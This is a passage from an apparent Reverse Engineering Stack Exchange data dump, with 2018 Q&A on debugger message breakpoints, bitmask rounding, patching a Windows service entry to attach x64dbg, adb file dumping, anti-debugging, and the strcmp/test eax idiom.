USER32.77B4C4E4&#xA;            00030248  hWnd = 00030248, class = CalcFrame&#xA;            00000084  Msg = WM_NCHITTEST&#xA;            00000000  wParam = 0&#xA;            01790207  X = 519., Y = 377.&#xA;00551EDE  Call to CALC.WndProc from USER32.77B4C4E4&#xA;            00030248  hWnd = 00030248, class = CalcFrame&#xA;            00000020  Msg = WM_SETCURSOR&#xA;            00030248  hWnd = 00030248, class = CalcFrame&#xA;            02050001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONUP&#xA;00551EDE  Call to CALC.WndProc from USER32.77B4C4E4&#xA;            00010236  hWnd = 00010236, class = CalcFrame, text = Calculator&#xA;            00000020  Msg = WM_SETCURSOR&#xA;            00030248  hWnd = 00030248, class = CalcFrame&#xA;            02050001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONUP&#xA;00551EDE  Call to CALC.WndProc from USER32.77B4C4E4&#xA;            00030248  hWnd = 00030248, class = CalcFrame&#xA;            00000205  Msg = WM_RBUTTONUP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now refine the breakpoint to suit your condition&lt;br&gt;&#xA;(change from never to on condition&lt;br&gt;&#xA;add condition  like when uMsg == WM_LBUTTONDOWN  ie&lt;br&gt;&#xA;[esp+8] == 0x20x..20y (see the stack layout mention earlier&lt;br&gt;&#xA;0x200 t0 0x220 are WM_MOUSE EVENT MESSAGES &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is screenshot that shows a possible configuration and result below screen shot&#xA;&lt;a href=&quot;https://i.stack.imgur.com/sShU6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sShU6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00551EDE  INT3: [esp+8] = WM_MOUSEMOVE&#xA;00551EDE  INT3: [esp+8] = WM_NCHITTEST&#xA;00551EDE  INT3: [esp+8] = WM_PARENTNOTIFY&#xA;00551EDE  INT3: [esp+8] = WM_MOUSEACTIVATE&#xA;00551EDE  INT3: [esp+8] = WM_MOUSEACTIVATE&#xA;00551EDE  INT3: [esp+8] = WM_SETCURSOR&#xA;00551EDE  INT3: [esp+8] = WM_SETCURSOR&#xA;00551EDE  INT3: [esp+8] = WM_LBUTTONDOWN&#xA;00551EDE  Call to CALC.WndProc from USER32.77B4C4E4&#xA;            00030248  hWnd = 00030248, class = CalcFrame&#xA;            00000201  Msg = WM_LBUTTONDOWN&#xA;            00000001  Keys = MK_LBUTTON&#xA;            00350004  X = 4, Y = 53.&#xA;00551EDE  INT3: [esp+8] = WM_NCHITTEST&#xA;00551EDE  INT3: [esp+8] = WM_SETCURSOR&#xA;00551EDE  INT3: [esp+8] = WM_SETCURSOR&#xA;00551EDE  INT3: [esp+8] = WM_LBUTTONUP&#xA;00551EDE  INT3: [esp+8] = WM_NCHITTEST&#xA;00551EDE  INT3: [esp+8] = WM_PARENTNOTIFY&#xA;00551EDE  INT3: [esp+8] = WM_MOUSEACTIVATE&#xA;00551EDE  INT3: [esp+8] = WM_MOUSEACTIVATE&#xA;00551EDE  INT3: [esp+8] = WM_SETCURSOR&#xA;00551EDE  INT3: [esp+8] = WM_SETCURSOR&#xA;00551EDE  INT3: [esp+8] = WM_RBUTTONDOWN&#xA;00551EDE  Call to CALC.WndProc from USER32.77B4C4E4&#xA;            00030248  hWnd = 00030248, class = CalcFrame&#xA;            00000204  Msg = WM_RBUTTONDOWN&#xA;            00000002  Keys = MK_RBUTTON&#xA;            00350004  X = 4, Y = 53.&#xA;00551EDE  INT3: [esp+8] = WM_NCHITTEST&#xA;00551EDE  INT3: [esp+8] = WM_SETCURSOR&#xA;00551EDE  INT3: [esp+8] = WM_SETCURSOR&#xA;00551EDE  INT3: [esp+8] = WM_RBUTTONUP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-08-31T18:29:03.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19218" PostTypeId="1" AcceptedAnswerId="19219" CreationDate="2018-09-01T19:40:14.497" Score="2" ViewCount="511" Body="&lt;p&gt;The bitmask is used to manipulate the value of the integer variable. From debugging, I guessed that the bitwise operation generates nearest even integer. Here is the assembly:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     r8d, 0FFFFFFF8h&#xA;jnz     loc_x&#xA;mov     eax, [rsp+48]&#xA;add     eax, 7&#xA;and     eax, r8d&#xA;mov     edi, eax&#xA;mov     r8d, eax&#xA;mov     [rsp+48], rdi&#xA;call    operator_new&#xA;xor     r8d, r8d&#xA;mov     rsi, rax&#xA;test    rax, rax&#xA;jz      loc_y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The interested pseudo-code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = (b + 7) &amp;amp; 0xFFFFFFF8;&#xA;c = a;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, what does &lt;code&gt;0xFFFFFFF8&lt;/code&gt; value do? And how can I determine the purpose behind that operation (and possibly any other in future)?&lt;/p&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2018-09-02T11:50:35.367" Title="How to identify the purpose behind a bitmask?" Tags="|disassembly|decompilation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19219" PostTypeId="2" ParentId="19218" CreationDate="2018-09-01T19:51:48.323" Score="2" Body="&lt;p&gt;No idea what the result is used for, but this is exactly what you'd see if you wanted to &quot;round up&quot; to the nearest 8-byte boundary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The +7 makes sure to push all the &quot;irrelevant bits&quot; out of the lower 3 bits, while at the same time making sure that we round &lt;em&gt;up&lt;/em&gt; (just doing the bitwise &lt;code&gt;&amp;amp;&lt;/code&gt; with the integer will not guarantee this outcome). And then the bitwise &lt;code&gt;&amp;amp;&lt;/code&gt; with said bitmask makes sure to strip the 3 least significant bits, yielding the result I described above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now obviously &lt;em&gt;what exactly this is used for&lt;/em&gt; is beyond me, because I lack the context you have by looking at the target binary, but the mechanism should become clear through my answer.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2018-09-01T19:51:48.323" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19220" PostTypeId="2" ParentId="19218" CreationDate="2018-09-01T20:38:49.243" Score="2" Body="&lt;p&gt;Just an addition to 0xC00000022Ls already given explanation. You may find his answer and many other very useful explanations and tricks in the book &quot;Hackers Delight&quot; by Henry S. Warren Jr.  :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There in Chapter 3-1. &quot;Rounding Up/Down to a Multiple of a Known Power of 2&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quote:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;... an unsigned integer x can be rounded up to the next greater multiple of 8 with either of&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(x+7) &amp;amp; -8 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;or&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x + (-x+7).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-8 is in 32-bit represented as &lt;code&gt;0xfffffff8&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2018-09-01T20:38:49.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19221" PostTypeId="2" ParentId="19179" CreationDate="2018-09-02T00:42:36.037" Score="1" Body="&lt;p&gt;You can download IDA free 5.0 from here &lt;a href=&quot;https://samsclass.info/126/proj/idafree50.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://samsclass.info/126/proj/idafree50.exe&lt;/a&gt; the file from the website of Sam Bowne (@sambowne) he is Professor at City College San Francisco and teaching computer networking and security classes.&lt;/p&gt;&#xA;" OwnerUserId="22363" LastActivityDate="2018-09-02T00:42:36.037" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19222" PostTypeId="1" CreationDate="2018-09-02T01:04:12.773" Score="1" ViewCount="1803" Body="&lt;p&gt;Has anyone ever attempted to decompile the code for a Pokemon game and figure out how the battle AI works? e.g. How it decides which move to use, or use a Potion/even withdraw based on the current state of the game. I'm very interested in how it works because I would like to build my own battle AI as part of a research project.&lt;/p&gt;&#xA;" OwnerUserId="25523" LastActivityDate="2018-09-02T08:57:44.567" Title="How do the AI in Pokemon battles work?" Tags="|decompilation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19223" PostTypeId="2" ParentId="19218" CreationDate="2018-09-02T08:27:42.930" Score="2" Body="&lt;p&gt;sometimes a python script makes it easier to understand &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def bitbut(a,b):&#xA;    for i in range(a,b,1):&#xA;        b = 0 + i&#xA;        c = b + 7&#xA;        d = c &amp;amp; 0xfffffff8&#xA;        print &quot;%3d&quot; % (d),&#xA;    print &quot;\n&quot;&#xA;for i in range(0,256,16):&#xA;    bitbut(i,i+16)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  0   8   8   8   8   8   8   8   8  16  16  16  16  16  16  16 &#xA;&#xA; 16  24  24  24  24  24  24  24  24  32  32  32  32  32  32  32 &#xA;&#xA; 32  40  40  40  40  40  40  40  40  48  48  48  48  48  48  48 &#xA;&#xA; 48  56  56  56  56  56  56  56  56  64  64  64  64  64  64  64 &#xA;&#xA; 64  72  72  72  72  72  72  72  72  80  80  80  80  80  80  80 &#xA;&#xA; 80  88  88  88  88  88  88  88  88  96  96  96  96  96  96  96 &#xA;&#xA; 96 104 104 104 104 104 104 104 104 112 112 112 112 112 112 112 &#xA;&#xA;112 120 120 120 120 120 120 120 120 128 128 128 128 128 128 128 &#xA;&#xA;128 136 136 136 136 136 136 136 136 144 144 144 144 144 144 144 &#xA;&#xA;144 152 152 152 152 152 152 152 152 160 160 160 160 160 160 160 &#xA;&#xA;160 168 168 168 168 168 168 168 168 176 176 176 176 176 176 176 &#xA;&#xA;176 184 184 184 184 184 184 184 184 192 192 192 192 192 192 192 &#xA;&#xA;192 200 200 200 200 200 200 200 200 208 208 208 208 208 208 208 &#xA;&#xA;208 216 216 216 216 216 216 216 216 224 224 224 224 224 224 224 &#xA;&#xA;224 232 232 232 232 232 232 232 232 240 240 240 240 240 240 240 &#xA;&#xA;240 248 248 248 248 248 248 248 248 256 256 256 256 256 256 256 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as can be seen a pattern can be discerned from the output&lt;br&gt;&#xA;for any input that is between&lt;br&gt;&#xA; 0 and  8 both inclusive the output would be 8&lt;br&gt;&#xA; 9 and 16 both inclusive the output would be 16 and so on&lt;br&gt;&#xA;so the assembly snippet rounds up the input to the next boundary&lt;br&gt;&#xA;that is a multiple of 8   &lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-09-02T11:50:35.367" LastActivityDate="2018-09-02T11:50:35.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19224" PostTypeId="2" ParentId="19222" CreationDate="2018-09-02T08:57:44.567" Score="1" Body="&lt;p&gt;There is a project to disassemble the Pokemon games at &lt;a href=&quot;https://github.com/pret&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/pret&lt;/a&gt;. As a reference in Pokemon red, You can find the file that defines the trainer AI here &lt;a href=&quot;https://github.com/pret/pokered/blob/master/engine/battle/trainer_ai.asm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/pret/pokered/blob/master/engine/battle/trainer_ai.asm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this is all in assembly and I don't believe there is a translation to C at this stage. &lt;/p&gt;&#xA;" OwnerUserId="25529" LastActivityDate="2018-09-02T08:57:44.567" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19225" PostTypeId="2" ParentId="19201" CreationDate="2018-09-02T14:15:48.340" Score="0" Body="&lt;p&gt;MiracleBox is likely using some phone specific protocol to read and write flash. Such protocols are rarely documented so probably the only way to figure it out would be to sniff the communication between it and the phone and try to duplicate it in your own program. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-09-02T14:15:48.340" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19226" PostTypeId="2" ParentId="12872" CreationDate="2018-09-02T15:35:50.797" Score="1" Body="&lt;p&gt;You can you the following to get the DLLs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for entry in pe.DIRECTORY_ENTRY_IMPORT:&#xA;    if entry.dll != None:&#xA;        print(entry.dll.decode())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simply put, ordinals are positions of functions in a given DLL. BUT not every ordinal is the same for a given function. The function Sleep sor example has different ordinals depending on the OS version, even the architecture of the system (32 bit / 64 bit). Research and check which function you can safely get by ordinals. I'm not a big expert but I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="25532" LastActivityDate="2018-09-02T15:35:50.797" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19227" PostTypeId="2" ParentId="19201" CreationDate="2018-09-02T15:41:23.180" Score="3" Body="&lt;p&gt;Looks like Wiko use Android as OS [based on &lt;a href=&quot;http://www.wikogeek.com/]&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.wikogeek.com/]&lt;/a&gt;, so Android tricks should work here as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need access to SoC on RDA8851CL in more &quot;user-friendly&quot; way, try to connect to it with adb:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Windows: &lt;a href=&quot;http://kernel.wikomobile.com/WIKO_Android_USB_Driver.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://kernel.wikomobile.com/WIKO_Android_USB_Driver.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Linux: Follow the following manual from XDA: &lt;a href=&quot;https://forum.xda-developers.com/android/software/guide-installing-adb-fastboot-linux-adb-t3478678&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.xda-developers.com/android/software/guide-installing-adb-fastboot-linux-adb-t3478678&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Wiko generally work with MTK drivers, in case links i gave here are not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you install the software and drivers successfully, connect adb like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;adb shell&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should open you the command line to your mobile device internal SoC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Command you are looking for to dump the content is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mkdir dump/&#xA;cd dump/&#xA;adb pull /path/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When done, content of folder on your device will be dumped to new dump/ folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: refrain to perform &quot;adb pull /&quot; - since in Linux &quot;everything is a file&quot;,  you will end up with multiple errors trying to pull /dev and /proc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D.L.&lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2018-09-02T15:41:23.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19229" PostTypeId="2" ParentId="19180" CreationDate="2018-09-02T16:51:58.303" Score="0" Body="&lt;p&gt;I believe Burp by &lt;a href=&quot;https://portswigger.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PortSwinger&lt;/a&gt; will do the work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to configure Android to work with Burp: &lt;a href=&quot;https://support.portswigger.net/customer/portal/articles/1841101-configuring-an-android-device-to-work-with-burp&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.portswigger.net/customer/portal/articles/1841101-configuring-an-android-device-to-work-with-burp&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1334" LastEditorUserId="245" LastEditDate="2020-05-29T19:50:31.327" LastActivityDate="2020-05-29T19:50:31.327" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19230" PostTypeId="1" CreationDate="2018-09-02T17:25:17.353" Score="4" ViewCount="2462" Body="&lt;p&gt;An &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/10910/reversing-a-windows-service&quot;&gt;answer to a similar question here&lt;/a&gt; mentions that the entry of a windows service can be patched to allow attaching a debugger (in my case x64dbg). Google searches on the topic are all related to setting a breakpoint in the source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to know how exactly this is done when only a binary is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to port a windows service to Linux. I'm not very familiar with the windows OS. While I can step through normal routines, the service probes the hardware and sets up a few global values. For this reason I need to know exactly what is being sent/received during its initialization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did try &lt;code&gt;windbg&lt;/code&gt; but found it to be very difficult to use when no source code is present.&lt;/p&gt;&#xA;" OwnerUserId="25311" LastActivityDate="2022-08-14T19:07:24.453" Title="Debug a windows service entry without windbg" Tags="|kernel-mode|x64dbg|windows-10|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19231" PostTypeId="2" ParentId="19230" CreationDate="2018-09-02T18:58:59.263" Score="7" Body="&lt;p&gt;I'll post my own answer here so I can find this again in the future.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using &lt;a href=&quot;https://ntcore.com/?page_id=388&quot; rel=&quot;nofollow noreferrer&quot;&gt;CFF Explorer&lt;/a&gt; open the service binary.&lt;/li&gt;&#xA;&lt;li&gt;Find the &lt;code&gt;AddressOfEntryPoint&lt;/code&gt; in the &lt;code&gt;Optional Header&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Find the &lt;code&gt;.text&lt;/code&gt; entry in &lt;code&gt;Section Headers&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Calculate &lt;code&gt;raw_offset = raw_address - virtual_address + AddressOfEntryPoint&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Within the built-in hex editor, navigate to &lt;code&gt;raw_address&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Change the two bytes there to &lt;code&gt;EB FE&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Save and exit.&lt;/li&gt;&#xA;&lt;li&gt;Modify &lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ServicesPipeTimeout&lt;/code&gt; to &lt;code&gt;0xFFFFFFFF&lt;/code&gt; (requires reboot).&lt;/li&gt;&#xA;&lt;li&gt;Replace service with patched version and start (its status should become 'starting').&lt;/li&gt;&#xA;&lt;li&gt;In &lt;code&gt;x64dbg&lt;/code&gt; check &lt;code&gt;Enable Debug Privilege&lt;/code&gt;, restart &lt;code&gt;x64dbg&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Attach to the service.&lt;/li&gt;&#xA;&lt;li&gt;Replace the &lt;code&gt;EB FE&lt;/code&gt; bytes with their original values.&lt;/li&gt;&#xA;&lt;li&gt;The entry point can now be debugged.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Other notes - &lt;code&gt;x64dbg&lt;/code&gt; will not stop at the entry point of a running service. Use the command &lt;code&gt;:EntryPoint&lt;/code&gt; to display its address and scroll into view.&lt;/p&gt;&#xA;" OwnerUserId="25311" LastEditorUserId="25939" LastEditDate="2018-10-09T15:49:48.783" LastActivityDate="2018-10-09T15:49:48.783" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19233" PostTypeId="1" CreationDate="2018-09-03T00:44:28.563" Score="5" ViewCount="392" Body="&lt;p&gt;I recently came across this anti-debug technique being used in the wild. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In The &lt;em&gt;Ultimate Anti-Debugging Reference&lt;/em&gt;, the author wrote in the &quot;Instruction Counting&quot; section&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A debugger will interfere with the&#xA;  single-stepping, resulting in a different count of&#xA;  instructions compared to when a debugger is not&#xA;  present.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From experimenting with this technique a bit, it seems that when you set a hardware breakpoint in x64dbg, the debug registers of &lt;em&gt;all threads&lt;/em&gt; are not only set, but also frozen - so that for example - if the program calls SetThreadContext to change these registers, x64dbg seems to change them back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given how x64dbg works, and that the technique relies on these debug registers, isn't this technique limited to detecting the presence or modification of hardware breakpoints?&lt;/p&gt;&#xA;" OwnerUserId="24467" LastActivityDate="2018-09-03T13:35:22.187" Title="Instruction counting anti-debug" Tags="|debuggers|anti-debugging|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19234" PostTypeId="1" AcceptedAnswerId="19244" CreationDate="2018-09-03T05:52:39.803" Score="3" ViewCount="188" Body="&lt;p&gt;I have a function in a binary like this &lt;code&gt;class&amp;lt;class1::class2&amp;gt;::function&lt;/code&gt;. I can't directly use commands like &lt;code&gt;bp&lt;/code&gt;, &lt;code&gt;u&lt;/code&gt;, &lt;code&gt;x&lt;/code&gt; on the function. The only option I have right now is &lt;code&gt;x class*&lt;/code&gt; and then look in the output for the address and then set a breakpoint &lt;code&gt;bp &amp;lt;address&amp;gt;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something that I'm missing? Its too cumbersome to copy and paste addresses each debugging session. One option is to use pykd, but I am looking for a pure windbg solution.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="53" LastEditDate="2018-09-03T06:34:49.240" LastActivityDate="2018-09-03T20:32:49.033" Title="Are some special chars(&lt;&gt;) in function names not supported by windbg/cdb?" Tags="|binary-analysis|c++|windbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19235" PostTypeId="1" AcceptedAnswerId="19236" CreationDate="2018-09-03T10:30:59.557" Score="15" ViewCount="35585" Body="&lt;p&gt;This is my first program i am trying to reverse and my intro to this field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The C program will test if two strings match, and it will printf() a message for each occasion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what the reversed code snippet looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call strcmp //compares the strings&#xA;test eax,eax&#xA;jne 1706&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that jne will jump, if ZF=0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i do not understand is what's up with this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test eax,eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What caused this line?&#xA;How does it relate with strcmp?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that if the result of test is not zero, ZF=0, so jne will jump.&#xA;But what does it compare exactly, and how does it relate to strcmp?&lt;/p&gt;&#xA;" OwnerUserId="15336" LastEditorUserId="15336" LastEditDate="2018-09-03T10:40:57.063" LastActivityDate="2018-09-03T21:06:51.480" Title="Purpose of test eax,eax after a strcmp" Tags="|disassembly|assembly|c|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19236" PostTypeId="2" ParentId="19235" CreationDate="2018-09-03T10:45:16.620" Score="22" Body="&lt;p&gt;Register &lt;code&gt;eax&lt;/code&gt; will contain &lt;strong&gt;the return code from &lt;code&gt;strcmp&lt;/code&gt;&lt;/strong&gt;, after the call. The &lt;a href=&quot;https://en.wikipedia.org/wiki/TEST_(x86_instruction)&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;test eax, eax&lt;/code&gt;&lt;/a&gt; is the same as &lt;code&gt;and eax, eax&lt;/code&gt; (bitwise &lt;code&gt;and&lt;/code&gt;) &lt;em&gt;except&lt;/em&gt; that it doesn't store the result in &lt;code&gt;eax&lt;/code&gt;. So &lt;code&gt;eax&lt;/code&gt; isn't affected by the test, but the zero-flag is, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;test eax, eax&lt;/code&gt; is necessary to make the &lt;code&gt;jne&lt;/code&gt; work in the first place. And &lt;code&gt;jne&lt;/code&gt; is the same as &lt;code&gt;jnz&lt;/code&gt;, just as &lt;code&gt;je&lt;/code&gt; is the same as &lt;code&gt;jz&lt;/code&gt;. Both act based on the ZF (zero-flag) value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;jne&lt;/code&gt; branch will be taken &lt;em&gt;if&lt;/em&gt; ZF=0 and therefore whenever &lt;code&gt;strcmp&lt;/code&gt; returns a non-zero value (i.e. strings not equal). Conversely if &lt;code&gt;eax&lt;/code&gt; contains zero upon return from &lt;code&gt;strcmp&lt;/code&gt;, the jump via &lt;code&gt;jne&lt;/code&gt; will &lt;em&gt;not&lt;/em&gt; happen.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2018-09-03T12:42:58.913" LastActivityDate="2018-09-03T12:42:58.913" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19237" PostTypeId="1" CreationDate="2018-09-03T11:40:14.163" Score="1" ViewCount="142" Body="&lt;p&gt;&lt;br&gt;Does anyone know what is the purpose of &lt;code&gt;RtlCheckSandboxedToken()&lt;/code&gt; in ntdll.dll,&lt;br/&gt;&#xA;i cannot find any documentation,&#xA;its prototype is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt; &#xA;NTSYSAPI&#xA;NTSTATUS&#xA;NTAPI&#xA;RtlCheckSandboxedToken(&#xA;    _In_opt_ HANDLE TokenHandle,&#xA;    _Out_ PBOOLEAN IsSandboxed&#xA;    );&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;source: &lt;a href=&quot;https://github.com/processhacker/processhacker/blob/master/phnt/include/ntrtl.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/processhacker/processhacker/blob/master/phnt/include/ntrtl.h&lt;/a&gt;&lt;/p&gt;&#xA;Is it something like &lt;code&gt;IsDebuggerPresent()&lt;/code&gt; for VMs?&lt;/p&gt;&#xA;" OwnerUserId="24740" LastEditorUserId="245" LastEditDate="2018-09-03T12:46:01.323" LastActivityDate="2018-09-03T12:59:16.193" Title="RtlCheckSandboxedToken" Tags="|windows|sandbox|vms|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19238" PostTypeId="2" ParentId="19237" CreationDate="2018-09-03T12:52:42.173" Score="1" Body="&lt;p&gt;The following call stack can be found in &lt;code&gt;MrmCoreR.dll&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Microsoft::Resources::MetroAppClientProfile::IsUnsafeLoadPriFileAllowed&#xA;Microsoft::Resources::HasCapability&#xA;RtlCheckSandboxedToken&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems like it's used by Metro applications to know if they were run in the sandbox. And &lt;code&gt;RtlCheckSandboxedToken()&lt;/code&gt; checks the token if it can be accessed via some specific security descriptor to determine if it's sandboxed.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastEditorUserId="245" LastEditDate="2018-09-03T12:59:16.193" LastActivityDate="2018-09-03T12:59:16.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19239" PostTypeId="2" ParentId="19235" CreationDate="2018-09-03T13:00:21.850" Score="8" Body="&lt;p&gt;prototype of strcmp() &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int strcmp(&#xA;   const char *string1,&#xA;   const char *string2 &#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the function returns an int whose interpretation is as follows&lt;br&gt;&#xA;so i think that answers your question of when it jumps and when not&lt;br&gt;&#xA;it jumps if eax is either &gt; or &amp;lt; 0&lt;br&gt;&#xA;it does not jump if eax == 0     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Return Value&#xA;The return value for each of these functions indicates   &#xA;the lexicographic relation of string1 to string2.&#xA;&#xA;&amp;lt; 0   string1 less than string2&#xA;&#xA;  0   string1 identical to string2&#xA;&#xA;&amp;gt; 0   string1 greater than string2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;test eax,eax does a binary and of both inputs&lt;br&gt;&#xA;and for it to jump eax needs to be 0 &#xA;if eax is 0 test eax,eax will set the ZF to 1&#xA;else it will set the ZF to 0&lt;br&gt;&#xA;normally test eax will be used if the program in higher 